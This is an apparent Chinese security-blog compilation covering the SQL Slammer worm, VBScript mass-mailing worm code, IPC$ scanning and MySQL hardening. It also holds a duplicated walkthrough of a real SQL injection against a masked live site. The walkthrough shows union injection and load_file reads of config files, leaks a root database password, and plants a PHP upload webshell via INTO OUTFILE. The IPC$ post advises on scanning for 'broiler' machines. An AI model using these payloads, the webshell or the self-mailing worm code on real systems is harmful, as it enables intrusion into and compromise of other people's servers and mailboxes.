这次sql蠕虫攻击的是微软数据库系Microsoft SQL Server 2000的,利用了MSSQL2000服务远程堆栈缓冲区溢出漏洞, Microsoft SQL Server 2000是一款由Microsoft公司开发的商业性质大型数据库系统。SQL Server监听UDP的1434端口,客户端可以通过发送消息到这个端口来查询目前可用的连接方式(连接方式可以是命名管道也可以是TCP),但是此程序存在严重漏洞,当客户端发送超长数据包时,将导致缓冲区溢出,黑客可以利用该漏洞在远程机器上执行自己的恶意代码。
微软在200年7月份的时候就为这个漏洞发布了一个安全公告,但当sql蠕虫爆发的时候,依然有大量的装有ms sqlserver 2000的服务器没有安装最新的补丁,从而被蠕虫病毒所利用,蠕虫病毒通过一段376个字节的恶意代码,远程获得对方主机的系统控制权限, 取得三个Win32 API地址,GetTickCount、socket、sendto,接着病毒使用GetTickCount获得一个随机数,进入一个死循环继续传播。在该循环中蠕虫使用获得的随机数生成一个随机的ip地址,然后将自身代码发送至1434端口(Microsoft SQL Server开放端口),该蠕虫传播速度极快,其使用广播数据包方式发送自身代码,每次均攻击子网中所有255台可能存在机器。由于这是一个死循环的过程,发包密度仅和机器性能和网络带宽有关,所以发送的数据量非常大。该蠕虫对被感染机器本身并没有进行任何恶意破坏行为,也没有向硬盘上写文件,仅仅存在与内存中。对于感染的系统,重新启动后就可以清除蠕虫,但是仍然会重复感染。由于发送数据包占用了大量系统资源和网络带宽,形成Udp Flood,感染了该蠕虫的网络性能会极度下降。一个百兆网络内只要有一两台机器感染该蠕虫就会导致整个网络访问阻塞。
通过以上分析可以知道,此蠕虫病毒本身除了对网络产生拒绝服务攻击外,并没有别的破坏措施.但如果病毒编写者在编写病毒的时候加入破坏代码,后果将不堪设想!
2.企业防范蠕虫病毒措施
此次sql蠕虫病毒,利用的漏洞在2002年7月份微软的一份安全公告中就有详细说明!而且微软也提供了安全补丁提供下载,然而在时隔半年之后互联网上还有相当大的一部分服务器没有安装最新的补丁,其网络管理员的安全防范意识可见一斑!
当前,企业网络主要应用于文件和打印服务共享、办公自动化系统、企业业务(MIS)系统、Internet应用等领域。网络具有便利信息交换特性,蠕虫病毒也可以充分利用网络快速传播达到其阻塞网络目的。企业在充分地利用网络进行业务处理时,就不得不考虑企业的病毒防范问题,以保证关系企业命运的业务数据完整不被破坏。
企业防治蠕虫病毒的时候需要考虑几个问题:病毒的查杀能力,病毒的监控能力,新病毒的反应能力。而企业防毒的一个重要方面是是管理和策略。推荐的企业防范蠕虫病毒的策略如下:
(1)加强网络管理员安全管理水平,提高安全意识。由于蠕虫病毒利用的是系统漏洞进行攻击,所以需要在第一时间内保持系统和应用软件的安全性,保持各种操作系统和应用软件的更新!由于各种漏洞的出现,使得安全不在是一种一劳永逸的事,而作为企业用户而言,所经受攻击的危险也是越来越大,要求企业的管理水平和安全意识也越来越高!
(2)建立病毒检测系统。能够在第一时间内检测到网络异常和病毒攻击。
(3)建立应急响应系统,将风险减少到最小!由于蠕虫病毒爆发的突然性,可能在病毒发现的时候已经蔓延到了整个网络,所以在突发情况下,建立一个紧急响应系统是很有必要的,在病毒爆发的第一时间即能提供解决方案。
(4)建立灾难备份系统。对于数据库和数据系统,必须采用定期备份,多机备份措施,防止意外灾难下的数据丢失!
(5)对于局域网而言,可以采用以下一些主要手段:A.在因特网接入口处安装防火墙式防杀计算机病毒产品,将病毒隔离在局域网之外。B.对邮件服务器进行监控,防止带毒邮件进行传播!C.对局域网用户进行安全培训。D.建立局域网内部的升级系统,包括各种操作系统的补丁升级,各种常用的应用软件升级,各种杀毒软件病毒库的升级等等!3.对个人用户产生直接威胁的蠕虫病毒
在以上分析的蠕虫病毒中,只对安装了特定的微软组件的系统进行攻击,而对广大个人用户而言,是不会安装iis(微软的因特网服务器程序,可以使允许在网上提供web服务)或者是庞大的数据库系统的!因此上述病毒并不会直接攻击个个人用户的电脑(当然能够间接的通过网络产生影响),但接下来分析的蠕虫病毒,则是对个人用户威胁最大,同时也是最难以根除,造成的损失也更大的一类蠕虫病毒!
对于个人用户而言,威胁大的蠕虫病毒采取的传播方式一般为电子邮件(Email)以及恶意网页等等!
对于利用email传播得蠕虫病毒来说,通常利用的是社会工程学(Social Engineering),即以各种各样的欺骗手段那诱惑用户点击的方式进行传播!
恶意网页确切的讲是一段黑客破坏代码程序,它内嵌在网页中,当用户在不知情的情况下打开含有病毒的网页时,病毒就会发作。这种病毒代码镶嵌技术的原理并不复杂,所以会被很多怀不良企图者利用,在很多黑客网站竟然出现了关于用网页进行破坏的技术的论坛,并提供破坏程序代码下载,从而造成了恶意网页的大面积泛滥,也使越来越多的用户遭受损失。
对于恶意网页,常常采取vb script和java script编程的形式!由于编程方式十分的简单!所以在网上非常的流行!
Vb script和java script是由微软操作系统的wsh(Windows Scripting HostWindows脚本主机)解析并执行的,由于其编程非常简单,所以此类脚本病毒在网上疯狂传播,疯狂一时的爱虫病毒就是一种vbs脚本病毒,然后伪装成邮件附件诱惑用户点击运行,更为可怕的是,这样的病毒是以源代码的形式出现的,只要懂得一点关于脚本编程的人就可以修改其代码,形成各种各样的变种。
下面以一个简单的脚本为例:
Set objFs=CreateObject (“Scripting.FileSystemObject”)
(创建一个文件系统对象)objFs.CreateTextFile ("C:\virus.txt", 1)
(通过文件系统对象的方法创建了TXT文件)
如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为:
objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs")
就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征——自我复制能力。
此类病毒往往是通过邮件传播的,在vb script中调用邮件发送功能也非常的简单,病毒往往采用的方法是向outlook中的地址薄中的邮件地址发送带有包含自身的邮件来达到传播目的,一个简单的实例如下:
Set objOA=Wscript.CreateObject ("Outlook.Application")
(创建一个OUTLOOK应用的对象)Set objMapi=objOA.GetNameSpace ("MAPI")
(取得MAPI名字空间)For i=1 to objMapi.AddressLists.Count(遍历地址簿)
Set objAddList=objMapi.AddressLists (i)
For j=1 To objAddList. AddressEntries.Count Set
objMail=objOA.CreateItem (0) objMail.Recipients.Add
(objAddList. AddressEntries
(j))
(取得收件人邮件地址 )objMail.Subject="你好!"
(设置邮件主题,这个往往具有很大的诱惑性质)
objMail.Body="这次给你的附件,是我的新文档!"
(设置信件内容)objMail.Attachments.Add (“c:\virus.vbs")
(把自己作为附件扩散出去 )objMail.Send(发送邮件)
NextNext Set objMapi=Nothing(清空objMapi变量,释放资源)
set objOA=Nothing(清空objOA变量)
这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。这就是蠕虫的传播性。
由此可以看出,利用vb script编写病毒是非常容易的,这就使得此类病毒的变种繁多,破坏力极大,同时也是非常难以根除的!
4.个人用户对蠕虫病毒的防范措施
通过上述的分析,我们可以知道,病毒并不是非常可怕的,网络蠕虫病毒对个人用户的攻击主要还是通过社会工程学,而不是利用系统漏洞!所以防范此类病毒需要注意以下几点:
(1)购合适的杀毒软件!网络蠕虫病毒的发展已经使传统的杀毒软件的“文件级实时监控系统”落伍,杀毒软件必须向内存实时监控和邮件实时监控发展!另外面对防不胜防的网页病毒,也使得用户对杀毒软件的要求越来越高!在杀毒软件市场上,赛门铁克公司的norton系列杀毒软件在全球具有很大的比例!经过多项测试,norton杀毒系列软件脚本和蠕虫阻拦技术能够阻挡大部分电子邮件病毒,而且对网页病毒也有相当强的防范能力!目前国内的杀毒软件也具有了相当高的水平。像瑞星,kv系列等杀毒软件,在杀毒软件的同时整合了防火强功能,从而对蠕虫兼木马程序有很大克制作用。
(2)经常升级病毒库,杀毒软件对病毒的查杀是以病毒的特征码为依据的,而病毒每天都层出不穷,尤其是在网络时代,蠕虫病毒的传播速度快,变种多,所以必须随时更新病毒库,以便能够查杀最新的病毒!
(3)提高防杀毒意识.不要轻易去点击陌生的站点,有可能里面就含有恶意代码!
当运行IE时,点击“工具→Internet选项→安全→ Internet区域的安全级别”,把安全级别由“中”改为“高” 。因为这一类网页主要是含有恶意代码的ActiveX或Applet、 JavaScript的网页文件 ,所以在IE设置中将ActiveX插件和控件、Java脚本等全部禁止就可以大大减少被网页恶意代码感染的几率。具体方案是:在IE窗口中点击“工具”→“Internet选项”,在弹出的对话框中选择“安全”标签,再点击“自定义级别”按钮,就会弹出“安全设置”对话框,把其中所有ActiveX插件和控件以及与Java相关全部选项选择“禁用”。但是,这样做在以后的网页浏览过程中有可能会使一些正常应用ActiveX的网站无法浏览。
(4)不随意查看陌生邮件,尤其是带有附件的邮件,由于有的病毒邮件能够利用ie和outlook的漏洞自动执行,所以计算机用户需要升级ie和outlook程序,及常用的其他应用程序!
三、小结
网络蠕虫病毒作为一种互联网高速发展下的一种新型病毒,必将对网络产生巨大的危险。在防御上,已经不再是由单独的杀毒厂商所能够解决,而需要网络安全公司,系统厂商,防病毒厂商及用户共同参与,构筑全方位的防范体系!
蠕虫和黑客技术的结合,使得对蠕虫的分析,检测和防范具有一定的难度,同时对蠕虫的网络传播性,网络流量特性建立数学模型也是有待研究的工作!
IPC$ 扫描和IPC$漏洞的防范
[ 2007-03-25 03:58:11 | 作者: sun ]
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。简单点说就是通过你的系统帐号和密码登陆你的系统的一个通道!而 IPC$ 并不算是一个漏洞,但因一般电脑用户设置系统的密码为空,这就成为一个可给利用的漏洞了!别人用管理员权限的帐号和空密码登陆你的系统后,别人就可以开共享,执行命令、程序、木马,还可以删除你的系统文件,危险性极大!
怎样防范
--------------------------------------------------------------------
请把你系统帐号设置为非空的密码,而密码不能太简单!这样,别人就扫描不出你的密码!当然要你记得住,如果自己都记不住那就。。。。
请加一个防火墙,把IPC相关的端口禁止外网访问!
端口如下:
要禁止TCP的端口,135,139,445
要禁止UDP的端口 137 (这是读取你机子名字的端口,MAC扫描就是扫描这个端口的)
这样,别人利用IPC$(也就是常说的肉鸡扫描)就扫不到你机子了!
如果禁止所以人连接你的 135 137 139 445 端口后,如果你是在一个局域网里,那共享功能也无效了!可以设置防火墙允许局域网用户通过,就可以解决共享问题!
如果你是一台机上网的,根本不用共享的功能,你可以关掉如下服务:
Computer Browser
Server
Workstation
这样,IPC就不建立了,IPC入侵就不能成功,但防火墙还是要开,因为有些工具还是可以通过
135端口的WMI服务,进行入侵!
啊D工具扫描,使用注意!
-------------------------------------------------------------------------------------------------------
当你使用啊D工具包进行扫描时,你也不想成为肉鸡,请把你的帐号密码不要设置为空,
并帐号的密码不能太过简单,并使用防火墙禁止 135,139,445端口!
UDP的137 端口必须开放,如果不开发,扫不到肉鸡!
也请把下面的服务开启!
Computer Browser
Server
Workstation
如上设置,你可以扫到别人,别人扫描不到你!这样就可以进行漏洞检测了!
怎样防范
--------------------------------------------------------------------
请把你系统帐号设置为非空的密码,而密码不能太简单!这样,别人就扫描不出你的密码!当然要你记得住,如果自己都记不住那就。。。。
请加一个防火墙,把IPC相关的端口禁止外网访问!
端口如下:
要禁止TCP的端口,135,139,445
要禁止UDP的端口 137 (这是读取你机子名字的端口,MAC扫描就是扫描这个端口的)
这样,别人利用IPC$(也就是常说的肉鸡扫描)就扫不到你机子了!
如果禁止所以人连接你的 135 137 139 445 端口后,如果你是在一个局域网里,那共享功能也无效了!可以设置防火墙允许局域网用户通过,就可以解决共享问题!
如果你是一台机上网的,根本不用共享的功能,你可以关掉如下服务:
Computer Browser
Server
Workstation
这样,IPC就不建立了,IPC入侵就不能成功,但防火墙还是要开,因为有些工具还是可以通过
135端口的WMI服务,进行入侵!
啊D工具扫描,使用注意!
-------------------------------------------------------------------------------------------------------
当你使用啊D工具包进行扫描时,你也不想成为肉鸡,请把你的帐号密码不要设置为空,
并帐号的密码不能太过简单,并使用防火墙禁止 135,139,445端口!
UDP的137 端口必须开放,如果不开发,扫不到肉鸡!
也请把下面的服务开启!
Computer Browser
Server
Workstation
如上设置,你可以扫到别人,别人扫描不到你!这样就可以进行漏洞检测了!
记一次安全检测的全部过程
[ 2007-03-25 03:57:56 | 作者: sun ]
copy from 至尊宝's Blog
>>>>>>记一次安全检测<<<<<<
测试站点如下
http://www.******.com
找个踩点
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830
提交一个 '
返回结果
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 135
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 140
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 154
路径出来了,继续安检.
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830'and 1=1 #
返回错误,不是字符型.
注明:%23是#
提交 and 1=1 返回正常
提交 and 1=2 返回不正常
接下来就是 union 语句
and 1=1 union select 1 返回不正常
and 1=1 union select 1,2 返回不正常
and 1=1 union select 1,2,3 返回不正常
and 1=1 union select 1,2,3,4 返回不正常
and 1=1 union select 1,2,3,4,5 返回不正常
and 1=1 union select 1,2,3,4,5,6 返回不正常
and 1=1 union select 1,2,3,4,5,6,7 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 返回正常
猜到 14 就正常了 继续下一步.
一般这样的站点基本上后台是不可能那么容易让我们找到的..
还是先看看有没有再说吧..
猜猜常用的路径.
login.php
admin.php
admin_login.php
admin_index.php
admin/login.php
admin/admin.php
admin/admin_login.php
admin/admin_index.php
manage/index.php
manage/login.php
manage/admin_login.php
manage/admin_index.php
等等.有耐心的可以慢慢去猜.就算猜到了也没什么用.
我们还是用比较直接的方法吧.直接用 load_file 读取文件内容
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
里面的 and 1=1 变成 and 1=2
返回结果如下:
2
就在2的位置暴了我们需要的文件内容.
我们就从 /var/www/html/zhaobiao/zhaobiao_hy_show.php
直接用 load_file('/var/www/html/zhaobiao/zhaobiao_hy_show.php')
前提是要把 /var/www/html/zhaobiao/zhaobiao_hy_show.php 转换成 16 进制
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,load_file
(0x2F7661722F7777772F68746D6C2F7A68616F6269616F2F7A68616F6269616F5F68795F73686F772E706870),3,4,5,6,7,8,9,10,11,12,13,14
返回结果
0 or $regdate>mysql_result($query,0,'yxdate')){?>
",mysql_result($query,0,'sm'));?>
不要管这些,直接查看源文件找到了一个 inc.php 的文件 然后配合前面的路径
/var/www/html/inc.php
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,load_file
(0x2F7661722F7777772F68746D6C2F696E632E706870),3,4,5,6,7,8,9,10,11,12,13,14
暴一下 返回看不到内容 直接查看源文件
<?
$myconn=mysql_connect('localhost','root','www.******.comy0p5h1i0');
mysql_select_db('mlk');
?>
Mysql 直接暴出来了..
下一步就是登陆 Mysql 然后插入自己准备好的小马..
use mlk;
create table mmxy (cmd TEXT);
insert into mmxy values('<?php');
insert into mmxy values('$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "Successful" : "failure";');
insert into mmxy values('echo $msg;');
insert into mmxy values('?>');
insert into mmxy values('<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">');
insert into mmxy values('<input NAME="MyFile" TYPE="file">');
insert into mmxy values('<input VALUE="Up" TYPE="submit"></form>');
select * from mmxy into outfile '/var/www/html/zhaobiao/mmxy.php';
>>>>>>记一次安全检测<<<<<<
测试站点如下
http://www.******.com
找个踩点
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830
提交一个 '
返回结果
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 135
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 140
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 154
路径出来了,继续安检.
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830'and 1=1 #
返回错误,不是字符型.
注明:%23是#
提交 and 1=1 返回正常
提交 and 1=2 返回不正常
接下来就是 union 语句
and 1=1 union select 1 返回不正常
and 1=1 union select 1,2 返回不正常
and 1=1 union select 1,2,3 返回不正常
and 1=1 union select 1,2,3,4 返回不正常
and 1=1 union select 1,2,3,4,5 返回不正常
and 1=1 union select 1,2,3,4,5,6 返回不正常
and 1=1 union select 1,2,3,4,5,6,7 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 返回正常
猜到 14 就正常了 继续下一步.
一般这样的站点基本上后台是不可能那么容易让我们找到的..
还是先看看有没有再说吧..
猜猜常用的路径.
login.php
admin.php
admin_login.php
admin_index.php
admin/login.php
admin/admin.php
admin/admin_login.php
admin/admin_index.php
manage/index.php
manage/login.php
manage/admin_login.php
manage/admin_index.php
等等.有耐心的可以慢慢去猜.就算猜到了也没什么用.
我们还是用比较直接的方法吧.直接用 load_file 读取文件内容
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
里面的 and 1=1 变成 and 1=2
返回结果如下:
2
就在2的位置暴了我们需要的文件内容.
我们就从 /var/www/html/zhaobiao/zhaobiao_hy_show.php
直接用 load_file('/var/www/html/zhaobiao/zhaobiao_hy_show.php')
前提是要把 /var/www/html/zhaobiao/zhaobiao_hy_show.php 转换成 16 进制
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,load_file
(0x2F7661722F7777772F68746D6C2F7A68616F6269616F2F7A68616F6269616F5F68795F73686F772E706870),3,4,5,6,7,8,9,10,11,12,13,14
返回结果
0 or $regdate>mysql_result($query,0,'yxdate')){?>
",mysql_result($query,0,'sm'));?>
不要管这些,直接查看源文件找到了一个 inc.php 的文件 然后配合前面的路径
/var/www/html/inc.php
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,load_file
(0x2F7661722F7777772F68746D6C2F696E632E706870),3,4,5,6,7,8,9,10,11,12,13,14
暴一下 返回看不到内容 直接查看源文件
<?
$myconn=mysql_connect('localhost','root','www.******.comy0p5h1i0');
mysql_select_db('mlk');
?>
Mysql 直接暴出来了..
下一步就是登陆 Mysql 然后插入自己准备好的小马..
use mlk;
create table mmxy (cmd TEXT);
insert into mmxy values('<?php');
insert into mmxy values('$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "Successful" : "failure";');
insert into mmxy values('echo $msg;');
insert into mmxy values('?>');
insert into mmxy values('<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">');
insert into mmxy values('<input NAME="MyFile" TYPE="file">');
insert into mmxy values('<input VALUE="Up" TYPE="submit"></form>');
select * from mmxy into outfile '/var/www/html/zhaobiao/mmxy.php';
数据安全之MySQL安全的二十三条军规
[ 2007-03-25 03:57:41 | 作者: sun ]
使用MySQL,安全问题不能不注意。以下是MySQL提示的23个注意事项:
1.如果客户端和服务器端的连接需要跨越并通过不可信任的网络,那么就需要使用SSH隧道来加密该连接的通信。
2.用set password语句来修改用户的密码,三个步骤,先“mysql -u root”登陆数据库系统,然后“mysql> update mysql.user set password=password('newpwd')”,最后执行“flush privileges”就可以了。
3.需要提防的攻击有,防偷听、篡改、回放、拒绝服务等,不涉及可用性和容错方面。对所有的连接、查询、其他操作使用基于ACL即访问控制列表的安全措施来完成。也有一些对SSL连接的支持。
4.除了root用户外的其他任何用户不允许访问mysql主数据库中的user表;
加密后存放在user表中的加密后的用户密码一旦泄露,其他人可以随意用该用户名/密码相应的数据库;
5.用grant和revoke语句来进行用户访问控制的工作;
6.不使用明文密码,而是使用md5()和sha1()等单向的哈系函数来设置密码;
7.不选用字典中的字来做密码;
8.采用防火墙来去掉50%的外部危险,让数据库系统躲在防火墙后面工作,或放置在DMZ区域中;
9.从因特网上用nmap来扫描3306端口,也可用telnet server_host 3306的方法测试,不能允许从非信任网络中访问数据库服务器的3306号TCP端口,因此需要在防火墙或路由器上做设定;
10.为了防止被恶意传入非法参数,例如where ID=234,别人却输入where ID=234 or 1=1导致全部显示,所以在web的表单中使用''或""来用字符串,在动态URL中加入%22代表双引号、%23代表井号、%27代表单引号;传递未检查过的值给mysql数据库是非常危险的;
11.在传递数据给mysql时检查一下大小;
12.应用程序需要连接到数据库应该使用一般的用户帐号,只开放少数必要的权限给该用户;
13.在各编程接口(C C++ PHP Perl Java JDBC等)中使用特定‘逃脱字符’函数;
在因特网上使用mysql数据库时一定少用传输明文的数据,而用SSL和SSH的加密方式数据来传输;
14.学会使用tcpdump和strings工具来查看传输数据的安全性,例如tcpdump -l -i eth0 -w -src or dst port 3306 | strings。以普通用户来启动mysql数据库服务;
15.不使用到表的联结符号,选用的参数 --skip-symbolic-links;
16.确信在mysql目录中只有启动数据库服务的用户才可以对文件有读和写的权限;
17.不许将process或super权限付给非管理用户,该mysqladmin processlist可以列举出当前执行的查询文本;super权限可用于切断客户端连接、改变服务器运行参数状态、控制拷贝复制数据库的服务器;
18.file权限不付给管理员以外的用户,防止出现load data '/etc/passwd'到表中再用select 显示出来的问题;
19.如果不相信DNS服务公司的服务,可以在主机名称允许表中只设置IP数字地址;
20.使用max_user_connections变量来使mysqld服务进程,对一个指定帐户限定连接数;
21.grant语句也支持资源控制选项;
22.启动mysqld服务进程的安全选项开关,--local-infile=0或1 若是0则客户端程序就无法使用local load data了,赋权的一个例子grant insert(user) on mysql.user to 'user_name'@'host_name';若使用--skip-grant-tables系统将对任何用户的访问不做任何访问控制,但可以用mysqladmin flush-privileges或mysqladmin reload来开启访问控制;默认情况是show databases语句对所有用户开放,可以用--skip-show-databases来关闭掉。
23.碰到Error 1045(28000) Access Denied for user 'root'@'localhost' (Using password:NO)错误时,你需要重新设置密码,具体方法是:先用--skip-grant-tables参数启动mysqld,然后执行mysql -u root mysql,mysql>update user set password=password('newpassword') where user='root';mysql>Flush privileges;,最后重新启动mysql就可以了。